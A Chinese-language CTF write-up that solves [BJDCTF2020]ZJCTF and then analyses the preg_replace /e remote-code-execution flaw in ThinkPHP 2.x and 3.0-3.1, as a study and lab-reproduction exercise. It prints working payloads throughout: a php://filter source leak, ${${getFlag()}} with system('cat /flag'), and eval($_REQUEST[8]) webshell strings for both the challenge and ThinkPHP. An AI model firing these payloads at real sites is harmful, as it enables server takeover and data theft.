文章可能会有点长,并且可能要你实操做一做[BJDCTF2020]ZJCTF才能彻底明白(大佬除外,小弟不才,打扰了。)
一、
先上ctf:[BJDCTF2020]ZJCTF
构建以下payload,进入if判断,并且进入include()函数
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
(这个不明白可以看我上一篇文章“[ZJCTF 2019]NiZhuanSiWei 解题思路”)
得到next.php的base64加密的密文,解码获得next.php的源码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei','strtolower("\\1")',$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这段代码大致意思是:
获取get的所有传参,对get传参键值分离,分别赋值给$re、$str ,作为参数放进complex()自定义的函数。Complex函数用来匹配$re里面的内容,并且为/ei 模式。/i表示不分大小写,/e表示啥?不懂,但是查一下可知,preg_replace的/e模式下有代码执行漏洞。即/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。
也就是说:
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str) 中'strtolower("\1")'这里会任意代码执行。
先看看:\1 是干嘛~
1表示取出正则匹配后的第一个子匹配中的第一项(这里其实就是thinkphp2.x、3.0-3.1版本的rce漏洞,这也是我为什么做这道题的原因)
举几个例子:
(图一)
(图二)
(图三)
(图四)
子匹配项,正则里有括号才能存在子匹配项,所以没有括号,就不存在子匹配项,自然图1和图4中子匹配项的值为空。
其次,了解””双引号在php中解析问题,双引号会解析里面的变量,而单引号不会。
但是要把双引号里面的东西当成php来解析,这双引号是办不到的。
所以又得了解另一种方法:
如下图:
然后发现:${${phpinfo()}} 里面的phpinfo()能够被解析并且成功执行。
所以把源码弄来试试:
回到靶场:
没毛病。
来开辟新道路:一种新思路
既然能执行phpinfo(),为啥就不能getshell呢?
来来来,尝试一下下:
写马:S%2b=${${eval($_REQUEST[8])}}
连接:
得到flag。
不过正解就是调用getFlag() 函数,进行getshell。
Payload为:
?S%2b=${${getFlag()}}&cmd=system(%27ls%20/%27);
?S%2b=${${getFlag()}}&cmd=system(%27cat%20/flag%27);
结束ctf的题,相信对正则匹配的/e模式有了很大的了解,接下来分析个Thinkphp的简化版漏洞。(真实的代码审计可能要对mvc框架有一定了解,而我还是弟弟,我先放弃~~~~)
二、
Thinkphp2.x、3.0-3.1版代码执行漏洞分析:
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架,ThinkPHP/Lib/Think/Util/Dispatcher.class.php中的102行preg_replace函数存在问题:
从网上的简化版初步来分析一下:
简化版就是这么一段代码
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
把路径拆分了,然后再进行自行组建路径,放进正则上面匹配。(需要大家有代码能力,自行理解一下,接下来主要讲匹配替换规则)
preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths))
再化简:
preg_replace('@(\w+)\/([^\/\/]+)@e', '$var[\'\\1\']="\\2";',’进行匹配的路径’)
先开启@i模式,那么假设要匹配的路径是:index.php?s=1/2/3/4/5/6
那么结果是什么?
可以看到进行了3次匹配,分别为:1/2 , 3/4 , 5/6
每次的第一子匹配项放进了$var[‘’]里面,第二个子匹配项则在双引号里面。
所以,很清楚,如果改为@e模式,单数的项会放进$var变量作为键,而双数的项会被当做值。
并且我们知道@e模式下是可以任意代码执行的,特别是在双引号里面:例如:”${phpinfo()}”或者”${${phpinfo()}}” (采用哪种主要看php版本,低版本的不支持”${phpinfo()}”,高版本都支持)
如:
接下来就是漏洞复现。
本地搭好环境进行复现:
Payload为:
/index.php/1/2/3/4/5/$%7Bphpinfo()%7D
或者:
index.php?s=1/2/3/4/5/${phpinfo()} 传参必须为s
phpinfo在4的位置也行。在2的位置不行。
到这就暂告一段落啦。
顺便给一下getshell方法:
index.php?s=1/2/3/4/5/${eval%20($_REQUEST[8])}&8=phpinfo();